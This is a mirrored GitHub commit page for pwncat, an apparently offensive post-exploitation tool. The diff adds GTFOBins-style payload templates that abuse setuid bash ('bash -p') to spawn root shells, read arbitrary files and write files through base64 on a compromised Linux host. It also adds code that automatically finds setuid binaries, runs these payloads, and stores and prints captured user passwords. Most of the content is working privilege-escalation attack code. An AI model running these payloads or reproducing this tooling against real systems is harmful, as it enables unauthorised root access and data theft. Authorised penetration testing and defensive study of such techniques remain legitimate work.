1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00
This commit is contained in:
John Hammond 2020-05-09 00:52:00 -04:00
commit b4aae032a0
7 changed files with 207 additions and 18 deletions

12
data/gtfobins.json Normal file
View File

@ -0,0 +1,12 @@
[
{
"name": "bash",
"shell": "{path} -p",
"read_file": "{path} -p -c \"cat {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
},
"command": "{path} -p -c {command}"
}
]

View File

@ -6,6 +6,7 @@ import socket
import sys
from pwncat.pty import PtyHandler
from pwncat import gtfobins
from pwncat import util
@ -13,6 +14,8 @@ def main():
# Default log-level is "INFO"
logging.getLogger().setLevel(logging.INFO)
# Ensure our GTFObins data is loaded
gtfobins.Binary.load("data/gtfobins.json")
parser = argparse.ArgumentParser(prog="pwncat")
mutex_group = parser.add_mutually_exclusive_group(required=True)

101
pwncat/gtfobins.py Normal file
View File

@ -0,0 +1,101 @@
#!/usr/bin/env python3
from typing import List, Dict, Any
from shlex import quote
import binascii
import base64
import json
import os
class Binary:
_binaries: List[Dict[str, Any]] = []
def __init__(self, path: str, data: Dict[str, Any]):
""" build a new binary from a dictionary of data. The data is taken from
the GTFOBins JSON database """
self.data = data
self.path = path
def shell(self, shell_path: str) -> str:
""" Build a a payload which will execute the binary and result in a
shell. `path` should be the path to the shell you would like to run. In
the case of GTFOBins that _are_ shells, this will likely be ignored, but
you should always provide it.
"""
if "shell" not in self.data:
return None
if isinstance(self.data["shell"], str):
enter = self.data["shell"]
exit = "exit"
else:
enter = self.data["shell"]["enter"]
exit = self.data["shell"].get("exit", "exit")
return enter.format(path=quote(self.path), shell=quote(shell_path)), exit
def read_file(self, file_path: str) -> str:
""" Build a payload which will leak the contents of the specified file.
"""
if "read_file" not in self.data:
return None
return self.data["read_file"].format(
path=quote(self.path), lfile=quote(file_path)
)
def write_file(self, file_path: str, data: bytes) -> str:
""" Build a payload to write the specified data into the file """
if "write_file" not in self.data:
return None
if isinstance(data, str):
data = data.encode("utf-8")
if self.data["write_file"]["type"] == "base64":
data = base64.b64encode(data)
elif self.data["write_file"]["type"] == "hex":
data = binascii.hexlify(data)
elif self.data["write_file"]["type"] != "raw":
raise RuntimeError(
"{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}"
)
return self.data["write_file"]["payload"].format(
path=quote(self.path),
lfile=quote(file_path),
data=quote(data.decode("utf-8")),
)
def command(self, command: str) -> str:
""" Build a payload to execute the specified command """
if "command" not in self.data:
return None
return self.data["command"].format(
path=quote(self.path), command=quote(command)
)
@classmethod
def load(cls, gtfo_path: str):
with open(gtfo_path) as filp:
cls._binaries = json.load(filp)
@classmethod
def find(cls, path: str, name: str = None) -> "Binary":
""" Locate the given gtfobin and return the Binary object. If name is
not given, it is assumed to be the basename of the path. """
if name is None:
name = os.path.basename(path)
for binary in cls._binaries:
if binary["name"] == name:
return Binary(path, binary)
return None

View File

@ -1,5 +1,5 @@
#!/usr/bin/env python3
from typing import Type, List
from typing import Type, List, Tuple
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod
from pwncat.privesc.setuid import SetuidMethod
@ -30,16 +30,35 @@ class Finder:
except PrivescError:
pass
def search(self, target_user: str = None) -> List[Technique]:
""" Search for privesc techniques for the current user to get to the
target user. If target_user is not specified, all techniques for all
users will be returned. """
techniques = []
for method in self.methods:
techniques.extend(method.enumerate())
if target_user is not None:
techniques = [
technique for technique in techniques if technique.user == target_user
]
return techniques
def escalate(
self,
target_user: str = None,
depth: int = None,
chain: List[Technique] = [],
starting_user=None,
):
) -> List[Tuple[Technique, str]]:
""" Search for a technique chain which will gain access as the given
user. """
if target_user is None:
target_user = "root"
current_user = self.pty.current_user
if (
target_user == current_user["name"]

View File

@ -1,6 +1,7 @@
#!/usr/bin/env python3
from typing import Generator, Callable, List, Any
from dataclasses import dataclass
from colorama import Fore
import threading
import socket
import os
@ -23,7 +24,7 @@ class Technique:
ident: Any
def __str__(self):
return f"{self.user} via {self.method.name}"
return self.method.get_name(self)
class Method:
@ -51,6 +52,9 @@ class Method:
Raise a PrivescError if there was a problem. """
raise NotImplementedError("no execute method implemented")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
def __str__(self):
return self.name
@ -99,3 +103,6 @@ class SuMethod(Method):
if self.pty.whoami() != technique.user:
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.name}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"

View File

@ -8,6 +8,7 @@ from colorama import Fore, Style
from pwncat.util import info, success, error, progress, warn
from pwncat.privesc.base import Method, PrivescError, Technique
from pwncat import gtfobins
# https://gtfobins.github.io/#+suid
known_setuid_privescs = {
@ -121,17 +122,18 @@ class SetuidMethod(Method):
for user, paths in self.suid_paths.items():
for path in paths:
for name, cmd in known_setuid_privescs.items():
if os.path.basename(path) == name:
yield Technique(user, self, (path, name, cmd))
binary = gtfobins.Binary.find(path)
if binary is not None:
yield Technique(user, self, binary)
def execute(self, technique: Technique):
""" Run the specified technique """
path, name, commands = technique.ident
binary = technique.ident
enter, exit = binary.shell("/bin/bash")
info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
)
before_shell_level = self.pty.run("echo $SHLVL").strip()
@ -141,13 +143,14 @@ class SetuidMethod(Method):
# self.pty.run(each_command.format(path), wait=False)
# Run the start commands
self.pty.run(commands[0].format(path) + "\n")
self.pty.run(enter + "\n")
self.pty.recvuntil("\n")
# sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8")
if user == technique.user:
success("privesc succeeded")
return commands[1]
return exit
else:
error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = self.pty.run("echo $SHLVL").strip()
@ -156,6 +159,9 @@ class SetuidMethod(Method):
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(commands[1], wait=False) # here be dragons
self.pty.run(exit, wait=False) # here be dragons
raise PrivescError(f"escalation failed for {technique}")
def get_name(self, tech: Technique):
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"

View File

@ -496,6 +496,20 @@ class PtyHandler:
""" Attempt privilege escalation """
parser = argparse.ArgumentParser(prog="privesc")
parser.add_argument(
"--list",
"-l",
action="store_true",
help="do not perform escalation. list potential escalation methods",
)
parser.add_argument(
"--all",
"-a",
action="store_const",
dest="user",
const=None,
help="when listing methods, list for all users. when escalating, escalate to root.",
)
parser.add_argument(
"--user",
"-u",
@ -517,10 +531,18 @@ class PtyHandler:
# The arguments were parsed incorrectly, return.
return
try:
self.privesc.escalate(args.user, args.depth)
except privesc.PrivescError as exc:
util.error(f"escalation failed: {exc}")
if args.list:
techniques = self.privesc.search(args.user)
if len(techniques) == 0:
util.warn("no techniques found")
else:
for tech in techniques:
util.info(f"escalation to {tech}")
else:
try:
self.privesc.escalate(args.user, args.depth)
except privesc.PrivescError as exc:
util.error(f"escalation failed: {exc}")
@with_parser
def do_download(self, args):
@ -643,13 +665,27 @@ class PtyHandler:
""" Set or view the currently assigned variables """
if len(argv) == 0:
util.info("local variables:")
for k, v in self.vars.items():
print(f" {k} = {shlex.quote(v)}")
util.info("user passwords:")
for user, data in self.users.items():
if data["password"] is not None:
print(
f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}"
)
return
parser = argparse.ArgumentParser(prog="set")
parser.add_argument("variable", help="the variable name")
parser.add_argument("value", help="the new variable type")
parser.add_argument(
"--password",
"-p",
action="store_true",
help="set the password for the given user",
)
parser.add_argument("variable", help="the variable name or user")
parser.add_argument("value", help="the new variable/user password value")
try:
args = parser.parse_args(argv)
@ -657,7 +693,12 @@ class PtyHandler:
# The arguments were parsed incorrectly, return.
return
self.vars[args.variable] = args.value
if args.password is not None and args.variable not in self.users:
util.error(f"{args.variable}: no such user")
elif args.password is not None:
self.users[args.variable]["password"] = args.value
else:
self.vars[args.variable] = args.value
def do_help(self, argv):
""" View help for local commands """